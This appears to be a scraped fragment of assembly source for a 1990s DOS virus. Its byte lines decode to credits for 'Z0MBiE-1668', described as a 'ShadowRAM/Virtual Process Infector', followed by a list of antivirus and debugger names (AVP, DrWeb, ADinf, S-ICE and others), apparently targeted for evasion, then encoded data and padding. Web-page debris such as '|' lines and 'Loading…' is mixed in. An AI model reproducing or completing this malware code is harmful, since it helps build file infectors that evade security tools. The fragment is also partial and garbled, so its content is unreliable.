db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh
|
||||
db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h
|
||||
db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h
|
||||
db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h
|
||||
db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h
|
||||
db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h
|
||||
db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh
|
||||
db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h
|
||||
db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h
|
||||
db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h
|
||||
db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h
|
||||
db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h
|
||||
db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h
|
||||
db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh
|
||||
db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h
|
||||
db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h
|
||||
db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h
|
||||
db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h
|
||||
db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach
|
||||
db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh
|
||||
db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h
|
||||
db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h
|
||||
db 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h
|
||||
db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h
|
||||
db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h
|
||||
db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h
|
||||
db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h
|
||||
db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h
|
||||
db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h
|
||||
db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h
|
||||
db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh
|
||||
Loading…
Reference in New Issue